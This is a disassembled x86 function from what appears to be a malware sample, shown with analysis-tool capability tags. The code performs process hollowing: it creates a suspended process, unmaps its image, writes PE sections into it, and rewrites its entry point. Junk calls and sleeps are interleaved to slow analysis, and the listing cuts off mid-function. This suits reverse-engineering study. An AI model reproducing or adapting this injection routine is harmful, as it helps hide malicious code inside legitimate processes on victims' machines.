Function at 0x41e36c
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0xb7
push 0
push 0
dec ecx
jne 0x41e375
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x108], edx
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
call fcn.0040940c
xor eax, eax
push ebp
push 0x420853
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x10d], 0
mov eax, dword [ebp - 0x10c]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x5c0]
mov edx, dword [ebp - 0x108]
call fcn.004076c0
mov eax, dword [ebp - 0x5c0]
mov dl, 1
call fcn.00416bbc
test al, al
je 0x420827
xor eax, eax
push ebp
push 0x420805
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x274]
mov ecx, 0x40
mov edx, dword [ebp - 0x104]
call fcn.0041e348
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x124], eax
xor eax, eax
push ebp
push 0x4207f4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x124]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x128], eax
xor eax, eax
push ebp
push 0x4207d2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x128]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x12c], eax
xor eax, eax
push ebp
push 0x4207b0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x12c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x130], eax
xor eax, eax
push ebp
push 0x42078e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x130]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
cmp word [ebp - 0x274], 0x5a4d
jne 0x420773
mov eax, dword [ebp - 0x104]
mov edx, dword [ebp - 0x238]
lea edx, [eax + edx]
lea eax, [ebp - 0xfc]
mov ecx, 0xf8
call fcn.0041e348
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x134], eax
xor eax, eax
push ebp
push 0x42076c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x134]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x138], eax
xor eax, eax
push ebp
push 0x42074a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x138]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x13c], eax
xor eax, eax
push ebp
push 0x420728
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x13c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x140], eax
xor eax, eax
push ebp
push 0x420706
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x140]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
cmp dword [ebp - 0xfc], 0x4550
jne 0x4206eb
mov eax, 0x14d
call fcn.004047c8
add eax, 0x682
push eax
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x2f0]
xor ecx, ecx
mov edx, 0x44
call fcn.00404e2c
lea eax, [ebp - 0x2ac]
xor ecx, ecx
mov edx, 0x10
call fcn.00404e2c
mov dword [ebp - 0x2f0], 0x44
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x144], eax
xor eax, eax
push ebp
push 0x4206e4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x144]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x148], eax
xor eax, eax
push ebp
push 0x4206c2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x148]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x14c], eax
xor eax, eax
push ebp
push 0x4206a0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x14c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x150], eax
xor eax, eax
push ebp
push 0x42067e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x150]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x2f0]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x108]
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x420663
mov eax, 0x14d
call fcn.004047c8
add eax, 0x682
push eax
call sub.kernel32.dll_Sleep
mov dword [ebp - 0x5bc], 0x10007
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x154], eax
xor eax, eax
push ebp
push 0x42065c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x154]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x158], eax
xor eax, eax
push ebp
push 0x42063a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x158]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x15c], eax
xor eax, eax
push ebp
push 0x420618
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x15c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x160], eax
xor eax, eax
push ebp
push 0x4205f6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x160]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
lea eax, [ebp - 0x5bc]
push eax
mov eax, dword [ebp - 0x2a8]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x4205db
mov eax, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x2a4]
mov dword [eax], edx
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x164], eax
xor eax, eax
push ebp
push 0x4205d4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x164]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x168], eax
xor eax, eax
push ebp
push 0x4205b2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x168]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x16c], eax
xor eax, eax
push ebp
push 0x420590
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x16c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x170], eax
xor eax, eax
push ebp
push 0x42056e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x170]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
lea eax, [ebp - 0x114]
push eax
push 4
lea eax, [ebp - 0x11c]
push eax
mov eax, dword [ebp - 0x518]
add eax, 8
push eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.kernel32.dll_ReadProcessMemory
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x174], eax
xor eax, eax
push ebp
push 0x42054c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x174]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x178], eax
xor eax, eax
push ebp
push 0x42052a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x178]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x17c], eax
xor eax, eax
push ebp
push 0x420508
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x17c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x180], eax
xor eax, eax
push ebp
push 0x4204e6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x180]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
lea eax, [ebp - 0x11c]
push eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.ntdll.dll_NtUnmapViewOfSection
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x184], eax
xor eax, eax
push ebp
push 0x4204c4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x184]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x188], eax
xor eax, eax
push ebp
push 0x4204a2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x188]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x18c], eax
xor eax, eax
push ebp
push 0x420480
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x18c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x190], eax
xor eax, eax
push ebp
push 0x42045e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x190]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 4
push 0x3000
mov eax, dword [ebp - 0xac]
push eax
mov eax, dword [ebp - 0xc8]
push eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp - 0xa8]
push eax
mov eax, dword [ebp - 0x104]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x194], eax
xor eax, eax
push ebp
push 0x42043c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x194]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x198], eax
xor eax, eax
push ebp
push 0x42041a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x198]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x19c], eax
xor eax, eax
push ebp
push 0x4203f8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x19c]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1a0], eax
xor eax, eax
push ebp
push 0x4203d6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1a0]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
mov eax, dword [ebp - 0x238]
add eax, 0xf8
mov dword [ebp - 0x120], eax
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1a4], eax
xor eax, eax
push ebp
push 0x4203b4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1a4]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1a8], eax
xor eax, eax
push ebp
push 0x420392
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1a8]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1ac], eax
xor eax, eax
push ebp
push 0x420370
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1ac]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1b0], eax
xor eax, eax
push ebp
push 0x42034e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1b0]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
movzx eax, word [ebp - 0xf6]
dec eax
test eax, eax
jl 0x41f2de
inc eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x118], 0
mov eax, dword [ebp - 0x120]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x118]
shl eax, 3
lea eax, [eax + eax*4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [ebp - 0x104]
add edx, eax
lea eax, [ebp - 0x29c]
mov ecx, 0x28
call fcn.0041e348
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x104]
mov edx, dword [ebp - 0x288]
add eax, edx
push eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x290]
push eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x11c]
push eax
push 0x40
mov eax, dword [ebp - 0x294]
push eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x290]
push eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.kernel32.dll_VirtualProtectEx
inc dword [ebp - 0x118]
dec dword [ebp - 0x1b4]
jne 0x41f23a
lea eax, [ebp - 0x114]
push eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x518]
add eax, 8
push eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x10d], al
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1b8], eax
xor eax, eax
push ebp
push 0x42032c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1b8]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1bc], eax
xor eax, eax
push ebp
push 0x42030a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1bc]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1c0], eax
xor eax, eax
push ebp
push 0x4202e8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1c0]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1c4], eax
xor eax, eax
push ebp
push 0x4202c6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1c4]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
mov esi, dword [ebp - 4]
add esi, dword [ebp - 0xd4]
mov dword [ebp - 0x100], esi
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x50c], eax
pushal
mov eax, section..text
mov ebp, esp
sub edx, 0x10000
popal
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1c8], eax
xor eax, eax
push ebp
push 0x4202a4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1c8]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1cc], eax
xor eax, eax
push ebp
push 0x420282
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1cc]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1d0], eax
xor eax, eax
push ebp
push 0x420260
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1d0]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1d4], eax
xor eax, eax
push ebp
push 0x42023e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1d4]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1d8], eax
xor eax, eax
push ebp
push 0x42021c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1d8]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1dc], eax
xor eax, eax
push ebp
push 0x4201fa
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1dc]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1e0], eax
xor eax, eax
push ebp
push 0x4201d8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1e0]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1e4], eax
xor eax, eax
push ebp
push 0x4201b6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1e4]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
mov eax, 0x14d
call fcn.004047c8
add eax, 0x29a
push eax
call sub.kernel32.dll_Sleep
cmp dword [ebp - 0x11c], 4
je 0x41f788
mov byte [ebp - 0x10d], 0
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1e8], eax
xor eax, eax
push ebp
push 0x420194
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1e8]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1ec], eax
xor eax, eax
push ebp
push 0x420172
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1ec]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1f0], eax
xor eax, eax
push ebp
push 0x420150
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1f0]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1f4], eax
xor eax, eax
push ebp
push 0x42012e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1f4]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
cmp byte [ebp - 0x10d], 1
jne 0x41fd11
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1f8], eax
xor eax, eax
push ebp
push 0x41fd0a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1f8]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x1fc], eax
xor eax, eax
push ebp
push 0x41fce8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x1fc]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x200], eax
xor eax, eax
push ebp
push 0x41fcc6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x200]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x204], eax
xor eax, eax
push ebp
push 0x41fca4
push dword fs:[eax]
mov dword fs:[eax], esp
